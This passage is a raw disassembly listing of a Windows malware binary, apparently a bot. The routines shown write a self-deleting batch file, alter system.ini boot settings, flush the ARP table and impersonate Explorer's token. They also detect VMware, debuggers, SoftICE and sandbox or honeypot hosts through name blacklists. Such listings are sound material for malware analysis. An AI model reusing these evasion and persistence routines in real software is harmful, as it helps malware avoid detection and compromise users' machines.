jmp short loc_41F2B6 ; --------------------------------------------------------------------------- loc_41F24C: ; CODE XREF: sub_41F1FA+4Cj cmp dl, bl jnz short loc_41F259 cmp [eax], bl jnz short loc_41F259 xor eax, eax inc eax jmp short loc_41F2B6 ; --------------------------------------------------------------------------- loc_41F259: ; CODE XREF: sub_41F1FA+48j ; sub_41F1FA+54j ... push ecx push eax call sub_41F2BB pop ecx test eax, eax pop ecx jnz short loc_41F2A0 loc_41F266: ; CODE XREF: sub_41F1FA+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_41F278 ; --------------------------------------------------------------------------- loc_41F26C: ; CODE XREF: sub_41F1FA+86j cmp cl, 5Bh jz short loc_41F282 cmp dl, bl jz short loc_41F282 inc eax mov [edi], eax loc_41F278: ; CODE XREF: sub_41F1FA+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_41F26C loc_41F282: ; CODE XREF: sub_41F1FA+75j ; sub_41F1FA+79j cmp [eax], bl jz short loc_41F297 push eax push dword ptr [esi] call sub_41F2BB neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41F29C ; --------------------------------------------------------------------------- loc_41F297: ; CODE XREF: sub_41F1FA+8Aj mov [ebp+var_4], ebx xor eax, eax loc_41F29C: ; CODE XREF: sub_41F1FA+9Bj cmp eax, ebx jnz short loc_41F266 loc_41F2A0: ; CODE XREF: sub_41F1FA+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_41F2B3 mov eax, [esi] cmp [eax], bl jnz short loc_41F2B3 mov [ebp+var_4], 1 loc_41F2B3: ; CODE XREF: sub_41F1FA+AAj ; sub_41F1FA+B0j mov eax, [ebp+var_4] loc_41F2B6: ; CODE XREF: sub_41F1FA+50j ; sub_41F1FA+5Dj pop edi pop esi pop ebx leave retn sub_41F1FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2BB proc near ; CODE XREF: sub_4105DF+4Cp ; sub_41066C+4Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_41F302 ; --------------------------------------------------------------------------- loc_41F2C7: ; CODE XREF: sub_41F2BB+4Bj cmp eax, 1 jnz short loc_41F310 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41F310 cmp cl, 2Ah jz short loc_41F2EB cmp cl, 3Fh jz short loc_41F2E6 xor eax, eax cmp cl, dl setz al loc_41F2E6: ; CODE XREF: sub_41F2BB+22j inc [ebp+arg_4] jmp short loc_41F2FE ; --------------------------------------------------------------------------- loc_41F2EB: ; CODE XREF: sub_41F2BB+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_41F1FA mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_41F2FE: ; CODE XREF: sub_41F2BB+2Ej inc esi mov [ebp+arg_0], esi loc_41F302: ; CODE XREF: sub_41F2BB+Aj mov cl, [esi] test cl, cl jnz short loc_41F2C7 jmp short loc_41F310 ; --------------------------------------------------------------------------- loc_41F30A: ; CODE XREF: sub_41F2BB+58j cmp eax, 1 jnz short loc_41F32C inc esi loc_41F310: ; CODE XREF: sub_41F2BB+Fj ; sub_41F2BB+18j ... cmp byte ptr [esi], 2Ah jz short loc_41F30A cmp eax, 1 jnz short loc_41F32C mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_41F32C cmp byte ptr [esi], 0 jnz short loc_41F32C xor eax, eax inc eax jmp short loc_41F32E ; --------------------------------------------------------------------------- loc_41F32C: ; CODE XREF: sub_41F2BB+52j ; sub_41F2BB+5Dj ... xor eax, eax loc_41F32E: ; CODE XREF: sub_41F2BB+6Fj pop esi pop ebp retn sub_41F2BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F331 proc near ; CODE XREF: sub_4120E9+1Bp ; sub_41F455+D7p var_80C = byte ptr -80Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 80Ch push esi lea eax, [ebp+var_80C] push edi push eax push 400h call dword_42F050 ; GetTempPathA lea eax, [ebp+var_108] push 104h xor esi, esi push eax push esi call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA call sub_4220FC push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq mov ecx, edi idiv ecx push edx call sub_4220FC cdq idiv edi lea eax, [ebp+var_80C] push edx push eax lea eax, [ebp+var_20C] push offset aSRemovemeIIII_ ; "%s\\removeMe%i%i%i%i.bat" push eax call sub_422063 add esp, 1Ch lea eax, [ebp+var_108] push 80h push eax call dword_42F08C ; SetFileAttributesA push esi push esi push 2 push esi push esi lea eax, [ebp+var_20C] push 40000000h push eax call dword_42F060 ; CreateFileA mov edi, eax cmp edi, esi jbe short loc_41F451 lea eax, [ebp+var_108] cmp [ebp+arg_0], esi push eax lea eax, [ebp+var_108] push eax lea eax, [ebp+var_108] push eax lea eax, [ebp+var_40C] jnz short loc_41F409 push offset a@echoOffRepeat ; "@echo off\r\n:Repeat\r\ndel \"%s\">nul\r\nping "... jmp short loc_41F40E ; --------------------------------------------------------------------------- loc_41F409: ; CODE XREF: sub_41F331+CFj push offset a@echoOffRepe_0 ; "@echo off\r\n:Repeat\r\ndel \"%s\">nul\r\nif ex"... loc_41F40E: ; CODE XREF: sub_41F331+D6j push eax call sub_422063 add esp, 14h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_40C] push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_40C] push eax push edi call dword_42F07C ; WriteFile push edi call dword_42F038 ; CloseHandle push esi push esi lea eax, [ebp+var_20C] push esi push eax push esi push esi call dword_454270 ; ShellExecuteA loc_41F451: ; CODE XREF: sub_41F331+AFj pop edi pop esi leave retn sub_41F331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F455 proc near ; CODE XREF: sub_403B2C+838p ; sub_40CDE2+620p var_114 = dword ptr -114h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset sub_414F1C push esi push esi call dword_42F158 ; CreateThread push offset dword_439540 call sub_414F91 mov [esp+114h+var_114], 3E8h call dword_42F15C ; Sleep push 0F003Fh push esi push esi call dword_454304 ; OpenSCManagerA push 0F01FFh push offset dword_439068 push eax call dword_4541D4 ; OpenServiceA push eax call dword_454250 ; DeleteService lea eax, [ebp+var_104] push 104h push eax call dword_42F0C0 ; GetWindowsDirectoryA lea eax, [ebp+var_104] push offset aSystem_ini ; "\\system.ini" push eax call dword_42F0D4 ; lstrcatA lea eax, [ebp+var_104] push eax push offset aExplorer_exe_0 ; "explorer.exe" push offset aShell ; "shell" push offset aBoot ; "boot" call dword_42F160 ; WritePrivateProfileStringA mov ebx, offset byte_439233 mov edi, offset dword_439134 push ebx push edi push dword_439130 call sub_41A454 push ebx push edi push 80000001h call sub_41A454 add esp, 18h push dword_4555FC call dword_42F084 ; ReleaseMutex cmp [ebp+arg_0], esi jnz short loc_41F532 call sub_41BFDA push esi call sub_41F331 pop ecx loc_41F532: ; CODE XREF: sub_41F455+CFj pop edi pop esi pop ebx leave retn sub_41F455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F537 proc near ; CODE XREF: sub_415126+6Cp ; sub_415126+A3p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_630E38 push 0 push edi call sub_4221F0 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_41F55C: ; CODE XREF: sub_41F537+5Bj ; sub_41F537+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_424A20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_424AA0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_41F59A inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_41F55C mov byte ptr [esi], 2Ch inc esi jmp short loc_41F55C ; --------------------------------------------------------------------------- loc_41F59A: ; CODE XREF: sub_41F537+4Bj mov eax, edi jmp short loc_41F5A3 ; --------------------------------------------------------------------------- loc_41F59E: ; CODE XREF: sub_41F537+72j mov cl, [esi] mov [eax], cl inc eax loc_41F5A3: ; CODE XREF: sub_41F537+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_41F59E and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_41F537 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5B5 proc near ; CODE XREF: sub_4153BB+C2p ; sub_4153BB+DBp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_4] push esi push edi mov edi, [ebp+arg_0] lea esi, [ebp+var_38] loc_41F5CB: ; CODE XREF: sub_41F5B5+47j ; sub_41F5B5+4Dj push 0 push 0Ah push ebx push edi call sub_424A20 push 0 add al, 30h push 0Ah push ebx mov [esi], al push edi inc esi call sub_424AA0 mov ebx, edx mov edi, eax or eax, ebx jz short loc_41F604 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_41F5CB mov byte ptr [esi], 2Ch inc esi jmp short loc_41F5CB ; --------------------------------------------------------------------------- loc_41F604: ; CODE XREF: sub_41F5B5+37j mov eax, [ebp+arg_8] jmp short loc_41F60E ; --------------------------------------------------------------------------- loc_41F609: ; CODE XREF: sub_41F5B5+5Fj mov cl, [esi] mov [eax], cl inc eax loc_41F60E: ; CODE XREF: sub_41F5B5+52j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_41F609 and byte ptr [eax], 0 mov eax, [ebp+arg_8] pop edi pop esi pop ebx leave retn sub_41F5B5 endp ; =============== S U B R O U T I N E ======================================= sub_41F621 proc near ; CODE XREF: sub_412267+4B5p mov ecx, dword_454218 xor eax, eax test ecx, ecx jz short locret_41F62F jmp ecx ; --------------------------------------------------------------------------- locret_41F62F: ; CODE XREF: sub_41F621+Aj retn sub_41F621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F630 proc near ; CODE XREF: sub_403B2C+1C58p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_454390 ; GetIpNetTable sub eax, edi jz short loc_41F68F sub eax, 32h jz short loc_41F68A sub eax, 48h jnz short loc_41F68A push [ebp+var_8] call sub_422F79 push [ebp+var_8] mov esi, eax push edi push esi call sub_4221F0 add esp, 10h cmp esi, edi jz short loc_41F68A lea eax, [ebp+var_8] push ebx push eax push esi call dword_454390 ; GetIpNetTable test eax, eax jz short loc_41F68F loc_41F68A: ; CODE XREF: sub_41F630+28j ; sub_41F630+2Dj ... mov [ebp+var_4], edi jmp short loc_41F6A5 ; --------------------------------------------------------------------------- loc_41F68F: ; CODE XREF: sub_41F630+23j ; sub_41F630+58j cmp [esi], edi jbe short loc_41F6A5 lea ebx, [esi+4] loc_41F696: ; CODE XREF: sub_41F630+73j push ebx call dword_45438C ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_41F696 loc_41F6A5: ; CODE XREF: sub_41F630+5Dj ; sub_41F630+61j push esi call sub_4230B3 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn sub_41F630 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F6B4 proc near ; CODE XREF: sub_41F76B+9p var_110C = dword ptr -110Ch var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 110Ch call sub_4220C0 push ebx push esi lea eax, [ebp+var_4] push edi push eax lea eax, [ebp+var_110C] push 1000h push eax call dword_45430C test eax, eax jz short loc_41F75B mov edi, [ebp+var_4] push 0 shr edi, 2 pop esi jz short loc_41F75B loc_41F6E9: ; CODE XREF: sub_41F6B4+A5j lea eax, [ebp+var_10C] push offset aUnknown ; "unknown" push eax call dword_42F04C ; lstrcpyA push [ebp+esi*4+var_110C] push 0 push 411h call dword_42F0E4 ; OpenProcess mov ebx, eax test ebx, ebx jz short loc_41F756 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 4 push eax push ebx call dword_4542D0 test eax, eax jz short loc_41F756 lea eax, [ebp+var_10C] push 104h push eax push [ebp+var_8] push ebx call dword_454224 lea eax, [ebp+var_10C] push eax push offset aExplorer_exe ; "Explorer.exe" call dword_42F070 ; lstrcmpiA test eax, eax jz short loc_41F762 loc_41F756: ; CODE XREF: sub_41F6B4+5Fj ; sub_41F6B4+74j inc esi cmp esi, edi jb short loc_41F6E9 loc_41F75B: ; CODE XREF: sub_41F6B4+28j ; sub_41F6B4+33j xor eax, eax loc_41F75D: ; CODE XREF: sub_41F6B4+B5j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41F762: ; CODE XREF: sub_41F6B4+A0j mov eax, [ebp+esi*4+var_110C] jmp short loc_41F75D sub_41F6B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F76B proc near ; CODE XREF: sub_4130E5+Cp ; sub_416208:loc_416277p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push edi call sub_41F6B4 test eax, eax jz short loc_41F7BB push eax push 1 push 1F0FFFh call dword_42F0E4 ; OpenProcess mov edi, eax test edi, edi jz short loc_41F7BB lea eax, [ebp+var_4] push esi push eax push 0Ah push edi call dword_4542F8 ; OpenProcessToken mov esi, dword_42F038 test eax, eax jz short loc_41F7B7 push [ebp+var_4] call dword_4543C8 ; ImpersonateLoggedOnUser push [ebp+var_4] call esi ; dword_42F038 loc_41F7B7: ; CODE XREF: sub_41F76B+3Cj push edi call esi ; dword_42F038 pop esi loc_41F7BB: ; CODE XREF: sub_41F76B+10j ; sub_41F76B+24j pop edi leave retn sub_41F76B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F7BE proc near ; CODE XREF: sub_416208+18p var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 178h push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_C], ebx call dword_454304 ; OpenSCManagerA mov [ebp+var_4], eax loc_41F7DF: ; CODE XREF: sub_41F7BE+80j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_178] push 168h push eax push 3 push 30h push [ebp+var_4] call dword_4542C8 ; EnumServicesStatusA test eax, eax jnz short loc_41F815 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 0EAh jnz short loc_41F840 loc_41F815: ; CODE XREF: sub_41F7BE+48j xor esi, esi cmp [ebp+var_8], ebx jle short loc_41F83B lea edi, [ebp+var_178] loc_41F822: ; CODE XREF: sub_41F7BE+7Bj push [ebp+arg_0] push dword ptr [edi] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_41F850 inc esi add edi, 24h cmp esi, [ebp+var_8] jl short loc_41F822 loc_41F83B: ; CODE XREF: sub_41F7BE+5Cj cmp [ebp+var_C], ebx jnz short loc_41F7DF loc_41F840: ; CODE XREF: sub_41F7BE+55j push [ebp+var_4] call dword_4541F0 ; CloseServiceHandle xor eax, eax loc_41F84B: ; CODE XREF: sub_41F7BE+A4j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41F850: ; CODE XREF: sub_41F7BE+72j lea eax, [esi+esi*8] xor ecx, ecx cmp [ebp+eax*4+var_16C], 4 setz cl mov eax, ecx jmp short loc_41F84B sub_41F7BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F864 proc near ; CODE XREF: sub_41F8E4+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov edi, [ebp+arg_4] test edi, edi jz short loc_41F87A mov eax, [edi] mov [ebp+arg_4], eax jmp short loc_41F87E ; --------------------------------------------------------------------------- loc_41F87A: ; CODE XREF: sub_41F864+Dj and [ebp+arg_4], 0 loc_41F87E: ; CODE XREF: sub_41F864+14j mov esi, [ebp+arg_8] test esi, esi jz short loc_41F88C mov eax, [esi] mov [ebp+arg_8], eax jmp short loc_41F890 ; --------------------------------------------------------------------------- loc_41F88C: ; CODE XREF: sub_41F864+1Fj and [ebp+arg_8], 0 loc_41F890: ; CODE XREF: sub_41F864+26j push eax push ebx push ecx push edx mov eax, 564D5868h mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edx, 5658h in eax, dx mov [ebp+var_4], eax mov [ebp+arg_4], ebx mov [ebp+arg_8], ecx mov [ebp+var_8], edx pop edx pop ecx pop ebx pop eax mov ecx, [ebp+arg_0] mov eax, [ebp+var_4] test ecx, ecx jz short loc_41F8C1 mov [ecx], eax loc_41F8C1: ; CODE XREF: sub_41F864+59j test edi, edi jz short loc_41F8CA mov ecx, [ebp+arg_4] mov [edi], ecx loc_41F8CA: ; CODE XREF: sub_41F864+5Fj test esi, esi jz short loc_41F8D3 mov ecx, [ebp+arg_8] mov [esi], ecx loc_41F8D3: ; CODE XREF: sub_41F864+68j mov ecx, [ebp+arg_C] test ecx, ecx jz short loc_41F8DF mov edx, [ebp+var_8] mov [ecx], edx loc_41F8DF: ; CODE XREF: sub_41F864+74j pop edi pop esi pop ebx leave retn sub_41F864 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8E4 proc near ; CODE XREF: .text:loc_41F91Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax mov [ebp+var_4], 0Ah call sub_41F864 mov eax, [ebp+var_8] add esp, 10h sub eax, 564D5868h neg eax sbb eax, eax not eax and eax, [ebp+var_C] leave retn sub_41F8E4 endp ; --------------------------------------------------------------------------- loc_41F91A: ; DATA XREF: sub_41FB50+CAo call sub_41F8E4 neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_41F926: ; CODE XREF: sub_41FB50:loc_41FBC6p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F328 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 14h push ebx push esi push edi mov [ebp-18h], esp and byte ptr [ebp-19h], 0 and dword ptr [ebp-4], 0 push ebx mov ebx, 0 mov eax, 1 ; --------------------------------------------------------------------------- db 0Fh dd 850B073Fh, 45940FDBh, 34EB5BE7h, 89EC458Bh, 458BE045h dd 4408BE0h, 8BDC4589h, 0C883DC4Dh, 0A48189FFh, 8B000000h dd 898BDC4Dh, 0B8h, 8B04C183h, 8A89DC55h, 0B8h, 0E8658BC3h dd 0FFFC4D83h, 0E745B60Fh, 64F04D8Bh, 0D89h, 5E5F0000h ; --------------------------------------------------------------------------- pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9B7 proc near ; CODE XREF: sub_41FB50+7Fp var_19 = byte ptr -19h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F338 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_19], 1 and [ebp+var_4], 0 push edx push ecx push ebx mov eax, 564D5868h mov ebx, 0 mov ecx, 0Ah mov edx, 5658h in eax, dx cmp ebx, 564D5868h setz [ebp+var_19] pop ebx pop ecx pop edx jmp short loc_41FA17 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] and [ebp+var_19], 0 loc_41FA17: ; CODE XREF: sub_41F9B7+53j or [ebp+var_4], 0FFFFFFFFh movzx eax, [ebp+var_19] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41F9B7 endp ; =============== S U B R O U T I N E ======================================= sub_41FA2E proc near ; CODE XREF: sub_41FB50:loc_41FB98p mov eax, large fs:30h mov eax, [eax+0Ch] mov eax, [eax+0Ch] add dword ptr [eax+20h], 2000h retn sub_41FA2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FA42 proc near ; CODE XREF: sub_41FB50+88p var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 134h push esi lea eax, [ebp+var_4] push edi push eax lea eax, [ebp+var_B4] mov esi, offset aTu4nh09smcg1hc ; "TU-4NH09SMCG1HC" push eax mov [ebp+var_34], esi mov [ebp+var_30], offset aRoo ; "roo" mov [ebp+var_2C], offset aSandbox ; "sandbox" mov [ebp+var_28], offset aSnort ; "snort" mov [ebp+var_24], offset aHoney ; "honey" mov [ebp+var_20], offset aHoneyc ; "honeyc" mov [ebp+var_1C], offset aHoneyd ; "honeyd" mov [ebp+var_18], offset aHoneymule ; "HoneyMule" mov [ebp+var_14], offset aVmware ; "vmware" mov [ebp+var_10], offset aCurrentuser ; "currentuser" mov [ebp+var_C], offset aNepenthes ; "nepenthes" mov [ebp+var_8], offset aImail8_001531N ; "(IMail 8.00 153-1) NT-ESMTP Server X1" mov [ebp+var_4], 80h call dword_42F028 ; GetUserNameA lea eax, [ebp+var_B4] push eax call dword_42F250 ; CharLowerA xor edi, edi loc_41FAC9: ; CODE XREF: sub_41FA42+A1j push [ebp+edi*4+var_34] lea eax, [ebp+var_B4] push eax call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41FB0D inc edi cmp edi, 0Ch jb short loc_41FAC9 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_134] push eax call dword_42F120 ; GetComputerNameA test eax, eax jz short loc_41FB12 lea eax, [ebp+var_134] push esi push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41FB12 loc_41FB0D: ; CODE XREF: sub_41FA42+9Bj xor eax, eax inc eax jmp short loc_41FB14 ; --------------------------------------------------------------------------- loc_41FB12: ; CODE XREF: sub_41FA42+B6j ; sub_41FA42+C9j xor eax, eax loc_41FB14: ; CODE XREF: sub_41FA42+CEj pop edi pop esi leave retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB18 proc near ; CODE XREF: sub_41FB50+91p var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h lea eax, [ebp+var_104] push 104h push eax push 0 call dword_42F154 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aInsidetm ; "\\InsideTm\\" push eax call sub_4235C0 neg eax pop ecx sbb eax, eax pop ecx neg eax leave retn sub_41FB18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB50 proc near ; CODE XREF: sub_4120E9+10p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch cmp dword_631270, 0 push ebx push esi push edi jz short loc_41FB6A xor eax, eax inc eax jmp loc_41FCBB ; --------------------------------------------------------------------------- loc_41FB6A: ; CODE XREF: sub_41FB50+10j and [ebp+var_4], 0 mov esi, offset aKernel32_dll ; "KERNEL32.DLL" push esi call dword_42F074 ; GetModuleHandleA test eax, eax jnz short loc_41FB89 push esi call dword_42F138 ; LoadLibraryA test eax, eax jz short loc_41FB98 loc_41FB89: ; CODE XREF: sub_41FB50+2Cj push offset aIsdebuggerpres ; "IsDebuggerPresent" push eax call dword_42F13C ; GetProcAddress mov [ebp+var_4], eax loc_41FB98: ; CODE XREF: sub_41FB50+37j call sub_41FA2E call dword_42F164 ; GetTickCount mov [ebp+var_C], eax mov esi, offset sub_41FCF3 mov al, [esi] cmp al, 0CCh jz short loc_41FBB5 xor eax, eax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBB5: ; CODE XREF: sub_41FB50+5Fj mov eax, 1 loc_41FBBA: ; CODE XREF: sub_41FB50+63j test al, al jz short loc_41FBC6 loc_41FBBE: ; CODE XREF: sub_41FB50+7Dj ; sub_41FB50+86j ... xor edi, edi inc edi jmp loc_41FCAF ; --------------------------------------------------------------------------- loc_41FBC6: ; CODE XREF: sub_41FB50+6Cj call loc_41F926 test eax, eax jnz short loc_41FBBE call sub_41F9B7 test eax, eax jnz short loc_41FBBE call sub_41FA42 test eax, eax jnz short loc_41FBBE call sub_41FB18 test eax, eax jnz short loc_41FBBE mov esi, offset loc_41FCC0 mov al, [esi] cmp al, 0CCh jz short loc_41FBF9 xor eax, eax jmp short loc_41FBFE ; --------------------------------------------------------------------------- loc_41FBF9: ; CODE XREF: sub_41FB50+A3j mov eax, 1 loc_41FBFE: ; CODE XREF: sub_41FB50+A7j test al, al jnz short loc_41FBBE mov esi, offset sub_41FCC3 mov al, [esi] cmp al, 0CCh jz short loc_41FC11 xor eax, eax jmp short loc_41FC16 ; --------------------------------------------------------------------------- loc_41FC11: ; CODE XREF: sub_41FB50+BBj mov eax, 1 loc_41FC16: ; CODE XREF: sub_41FB50+BFj test al, al jnz short loc_41FBBE mov esi, offset loc_41F91A mov al, [esi] cmp al, 0CCh jz short loc_41FC29 xor eax, eax jmp short loc_41FC2E ; --------------------------------------------------------------------------- loc_41FC29: ; CODE XREF: sub_41FB50+D3j mov eax, 1 loc_41FC2E: ; CODE XREF: sub_41FB50+D7j xor edi, edi mov ebx, offset aSoftwareVmware ; "SOFTWARE\\VMware, Inc.\\VMware Tools" inc edi mov esi, 80000002h push edi push offset aInstallpath ; "InstallPath" push ebx push esi call sub_41A57A add esp, 10h test eax, eax jnz short loc_41FCAF push 4 push offset aShowtray ; "ShowTray" push ebx push esi call sub_41A57A add esp, 10h test eax, eax jnz short loc_41FCAF call sub_41FCC3 test eax, eax jnz short loc_41FCAF cmp [ebp+var_4], eax jz short loc_41FC9F lea eax, [ebp+var_4] mov [ebp+var_8], eax mov esi, [ebp+var_8] mov al, [esi] cmp al, 0CCh jz short loc_41FC85 xor eax, eax jmp short loc_41FC8A ; --------------------------------------------------------------------------- loc_41FC85: ; CODE XREF: sub_41FB50+12Fj mov eax, 1 loc_41FC8A: ; CODE XREF: sub_41FB50+133j test al, al jnz short loc_41FCAF call [ebp+var_4] test eax, eax jnz short loc_41FCAF call dword_42F124 ; IsDebuggerPresent test eax, eax jnz short loc_41FCAF loc_41FC9F: ; CODE XREF: sub_41FB50+120j call dword_42F164 ; GetTickCount sub eax, [ebp+var_C] cmp eax, 1388h jbe short loc_41FCB9 loc_41FCAF: ; CODE XREF: sub_41FB50+71j ; sub_41FB50+FDj ... mov dword_631270, edi mov eax, edi jmp short loc_41FCBB ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: sub_41FB50+15Dj xor eax, eax loc_41FCBB: ; CODE XREF: sub_41FB50+15j ; sub_41FB50+167j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41FCC0: ; DATA XREF: sub_41FB50+9Ao xor al, al retn sub_41FB50 endp ; =============== S U B R O U T I N E ======================================= sub_41FCC3 proc near ; CODE XREF: sub_41FB50+114p ; DATA XREF: sub_41FB50+B2o push 0 push 80h push 3 push 0 push 3 push 0C0000000h push offset a_Ntice ; "\\\\.\\NTICE" call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh jz short loc_41FCF0 push eax call dword_42F038 ; CloseHandle xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41FCF0: ; CODE XREF: sub_41FCC3+20j xor eax, eax retn sub_41FCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FCF3 proc near ; DATA XREF: sub_41FB50+56o arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov al, [esi] cmp al, 0CCh jz short loc_41FD04 xor eax, eax jmp short loc_41FD09 ; --------------------------------------------------------------------------- loc_41FD04: ; CODE XREF: sub_41FCF3+Bj mov eax, 1 loc_41FD09: ; CODE XREF: sub_41FCF3+Fj pop esi pop ebp retn sub_41FCF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD0C proc near ; CODE XREF: sub_41FE93+70p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+var_4] 